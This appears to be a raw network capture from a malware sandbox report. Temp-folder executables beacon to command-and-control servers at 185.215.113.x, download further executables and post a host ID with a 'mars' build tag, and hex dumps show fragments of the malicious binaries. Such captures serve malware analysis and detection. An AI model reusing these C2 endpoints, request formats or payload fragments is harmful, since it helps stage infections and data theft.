Nov 18, 2024 13:30:29.456679106 CET	1236	IN	Data Raw: 80 c5 f3 b4 e2 c0 19 e8 11 e5 42 9d e1 ed ae 82 8b c0 40 2f 3c 7d 82 61 93 f0 73 e1 df b1 03 22 88 07 14 9d c6 ee e1 44 ad 70 7e c5 d8 82 06 a3 6c 55 8b d1 2d 1a db 34 7a 6b 0a ec 2f fb 75 fc 6e 69 54 0a bd ce 2c 7c c7 eb ec 96 dd 12 02 d4 7d 61 Data Ascii: B@/<}as"Dp~lU-4zk/uniT,\|}ae9w:4lIy$)2}i=}0^5Xw+j~X`RU!Q@f)WGo$-CGQnE}6e)tzw!)y]u*
Nov 18, 2024 13:30:29.456691980 CET	1236	IN	Data Raw: dd 79 43 00 5e ef 3e f0 cb 95 7d d9 5d b0 21 c6 a1 d3 1b a3 c7 8a 1c 9f 4a a6 a9 42 2e c5 4e f7 93 a6 d4 e2 b5 6a 39 d2 73 30 4e 73 43 f8 53 54 2f 79 d1 23 55 51 53 f6 4d 80 11 6d 02 96 f5 7f ca ef 9a 77 13 ab 08 74 5e 6b 89 c0 a7 f0 4e 21 a0 95 Data Ascii: yC^>}]!JB.Nj9s0NsCST/y#UQSMmwt^kN!ZL#hl_j`h,dSzah\si_rxwk:50,p8+f22tV(96YE`iR.Tbe3U~17FU
Nov 18, 2024 13:30:29.456852913 CET	1236	IN	Data Raw: 8f c0 2d 75 8e 39 89 b1 a1 e7 0d c1 1a 38 11 b8 a0 61 57 95 45 ff c6 90 bc ad 51 d9 86 07 1c ae f6 f8 34 c7 81 9f 04 b9 3b f0 f0 7f bd 2d 12 10 e0 ab 1f f0 6d ed 05 9e 73 bd 8c 92 23 cc ab 93 99 5b 3f b4 ac ed a9 f8 dc 7c fa 0c 9e af e1 2b aa 55 Data Ascii: -u98aWEQ4;-ms#[?\|+U{<Q 1ya)]iqlA#-.Q-pCgr#>]V01{Kmt$-I+QHrE@,}_m-+}FIvK0
Nov 18, 2024 13:30:29.456865072 CET	1236	IN	Data Raw: 2b 69 17 f9 26 70 b8 ff 8f 36 81 17 da 79 09 ad 6b 73 a2 14 84 ab a1 97 3b f9 39 6c 99 ff 11 39 38 05 46 a9 a7 15 75 bb 9f fd f1 e6 d0 ed 2b 90 6b fc 20 76 e7 f4 0e fb d2 ef a1 81 57 f1 c6 f9 c7 af 23 b4 b7 6d 12 bd 99 fd 43 ff 25 19 16 b5 4f 0b Data Ascii: +i&p6yks;9l98Fu+k vW#mC%Ot#}nq"mxu_N))t@{nne2/e))os"bQk~JI,XznQ'm3m)\!'\|#q-Q
Nov 18, 2024 13:30:29.456887960 CET	1236	IN	Data Raw: 87 73 29 4f da 79 1d a1 bf ff 41 75 8e 25 89 c6 b9 45 ea eb 90 f1 1a ad 6d 69 8a 94 62 bf 23 93 88 fb 06 e7 53 c6 30 13 19 f7 79 b3 d9 75 11 a5 26 70 24 a9 54 89 a2 e6 3f f1 39 b5 21 f4 85 68 86 b9 c1 e6 1b 6d 51 11 68 5e 54 f9 2a a1 85 b2 f7 11 Data Ascii: s)OyAu%Emib#S0yu&p$T?9!hmQh^THv=zs#9\1+05P-l#EV1Ig*pCAL;q(z\aum66&:<[sQ:Lwmxc
Nov 18, 2024 13:30:29.461591005 CET	1236	IN	Data Raw: d9 08 9c e0 ff 71 2d bb ff fd c5 e6 80 3d 09 15 26 7c 17 aa b1 19 b4 48 d7 97 6e b3 76 31 41 fd b6 ba 57 7c bd f9 b1 14 77 6f d4 5f 87 26 d7 f5 70 72 00 39 4b b9 71 5b 9d 79 02 d6 34 18 8b 28 90 c6 8a a3 f3 38 7d b4 f3 2f 2c f5 b6 cc da 81 d8 e0 Data Ascii: q-=&\|Hnv1AW\|wo_&pr9Kq[y4(8}/,>zx.Dq\|r"{g#'\|o+HS!s}]l'Qdk ra`\h/xupx.1-et-$56%-y;\|eQ"v{z`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49856	185.215.113.43	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:36.490793943 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 31 35 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007150001&unit=246122658369
Nov 18, 2024 13:30:37.410475016 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49860	185.215.113.16	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:37.420129061 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 13:30:38.345889091 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:38 GMT Content-Type: application/octet-stream Content-Length: 923136 Last-Modified: Mon, 18 Nov 2024 11:52:36 GMT Connection: keep-alive ETag: "673b2a84-e1600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c 2a 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@n~{{{z{RichPEL\|;g"fw@p@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 18, 2024 13:30:38.345915079 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Nov 18, 2024 13:30:38.345952988 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Nov 18, 2024 13:30:38.346082926 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Nov 18, 2024 13:30:38.346095085 CET	1236	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Nov 18, 2024 13:30:38.346102953 CET	1236	IN	Data Raw: 01 00 00 74 1d 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 Data Ascii: tmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3
Nov 18, 2024 13:30:38.346215963 CET	848	IN	Data Raw: 85 37 ff ff ff 83 39 12 0f 8c 5e 06 04 00 83 39 13 0f 8e fa 02 00 00 83 39 18 0f 8e 4c 06 04 00 83 39 1e 0f 8e 13 ff ff ff 83 39 21 0f 8e 3a 06 04 00 83 39 23 0f 8e fb fe ff ff e9 2c 06 04 00 83 f8 20 0f 8f ff 00 00 00 0f 84 1e 01 00 00 83 e8 14 Data Ascii: 79^99L99!:9#, rU]]EC}Pl]GpEUAjYf9HEHOlEuE{le
Nov 18, 2024 13:30:38.346230030 CET	1236	IN	Data Raw: 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 00 00 00 8b 85 7c ff ff ff 89 45 c8 8b 45 f0 85 c0 78 08 3b fb 0f 84 b9 fb ff ff 56 68 93 00 00 00 e9 36 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 e6 02 04 00 8b 55 f8 4a 4f 83 bd 60 ff ff Data Ascii: Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D#&@3&@0%@v&@'@B&@&@$@;$@UE;#M~#M
Nov 18, 2024 13:30:38.346242905 CET	1236	IN	Data Raw: ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d 00 a3 e0 13 4d 00 ff d6 68 a2 00 00 00 ff 35 58 13 4d 00 a3 e8 13 4d 00 ff d6 33 f6 a3 ec 13 4d 00 56 6a 10 6a 10 6a 01 6a 63 ff 35 58 13 4d 00 ff 15 a0 c5 49 00 8b 0d 58 13 4d 00 8b d0 a1 e0 Data Ascii: 5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^[VW5,I3W5XMWWjdh,PPhIPPWW5XMMj
Nov 18, 2024 13:30:38.346254110 CET	1236	IN	Data Raw: c2 08 00 55 8b ec 8b 11 3b 51 1c 7d 1e 8d 42 01 89 01 8b 41 18 8b 4d 08 3b 0c 90 74 08 ff 34 90 e8 21 78 00 00 b0 01 5d c2 04 00 8b 4d 08 68 08 cc 49 00 e8 9e 3a 00 00 32 c0 eb eb 56 57 8b f9 8d 77 14 8b ce e8 15 37 00 00 83 27 00 8b ce c6 47 24 Data Ascii: U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLHHPPjIUuUuMYY]U
Nov 18, 2024 13:30:38.351181984 CET	1236	IN	Data Raw: 00 8d 44 24 10 33 f6 50 6a 01 56 68 f4 ca 49 00 68 01 00 00 80 ff 15 18 c0 49 00 85 c0 0f 84 fe fb 03 00 8d 4c 24 18 e8 0e 63 00 00 8d 4c 24 28 e8 05 63 00 00 5f 5e b8 90 23 4d 00 5b 8b e5 5d c2 08 00 55 8b ec 83 ec 14 56 57 8b f9 8d 4d ec e8 b7 Data Ascii: D$3PjVhIhIL$cL$(c_^#M[]UVWMsMU39w +EPOEEPO(w NMb_^USVj[F9Fu0jX;sF3FWQ~Y~_SYMVN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49864	185.215.113.206	80	9184	C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:39.019928932 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 13:30:39.945038080 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 13:30:39.955559015 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHI Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 37 32 45 45 41 34 41 42 39 44 44 34 33 38 34 30 38 37 32 35 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 2d 2d 0d 0a Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="hwid"472EEA4AB9DD438408725------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="build"mars------BFIJKEBFBFHIJJKEHDHI--
Nov 18, 2024 13:30:40.237545013 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49868	185.215.113.43	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:44.253195047 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 31 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007151001&unit=246122658369
Nov 18, 2024 13:30:45.179053068 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49870	185.215.113.16	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:45.186918020 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 13:30:46.096630096 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:45 GMT Content-Type: application/octet-stream Content-Length: 2756096 Last-Modified: Mon, 18 Nov 2024 11:53:03 GMT Connection: keep-alive ETag: "673b2a9f-2a0e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 3c 9b 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ <`Ui` @ @.rsrc`2@.idata 8@prcghhsb)):@jcsutjal `)@.taggant@")@
Nov 18, 2024 13:30:46.096642971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:46.096653938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:46.096664906 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:46.096677065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:46.096786976 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:46.096797943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:46.096816063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:46.096828938 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:46.096837997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:46.101916075 CET	1236	IN	Data Raw: c3 d6 31 92 34 2f 11 83 50 4f 76 26 ee c6 da 9b 27 df 01 d7 5d f1 29 eb 22 5f 60 e3 f4 d3 6d ed e4 e9 7a 0f db d9 25 8b 6b 85 ed cc e2 73 6f 11 68 c2 77 9b 6f 31 76 00 a5 57 50 a4 b6 d1 1b c3 7d 17 18 45 77 d8 f7 18 f6 1e c0 04 27 02 6e 37 a3 2e Data Ascii: 14/POv&'])"_`mz%ksohwo1vWP}Ew'n7.iJnfwcK8iKtcVm.n!eiqA4\iG7iwtU%;s=1}8j 5sVM4t{bm<npdZsBup"rews

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49878	185.215.113.16	80	5716	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:54.174729109 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 13:30:55.083786964 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:54 GMT Content-Type: application/octet-stream Content-Length: 2756096 Last-Modified: Mon, 18 Nov 2024 11:53:05 GMT Connection: keep-alive ETag: "673b2aa1-2a0e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 3c 9b 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ <`Ui` @ @.rsrc`2@.idata 8@prcghhsb)):@jcsutjal `)@.taggant@")@
Nov 18, 2024 13:30:55.083873987 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:55.083897114 CET	324	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:55.083909988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:55.083954096 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:55.083970070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:55.083983898 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:55.083997011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:55.084117889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: VpFaMsqzmnbBxr?moge1G xh_8aJ*w8PquUM_^n;Ss_OrN9awyi)^$$,iD{6fQg6Ao
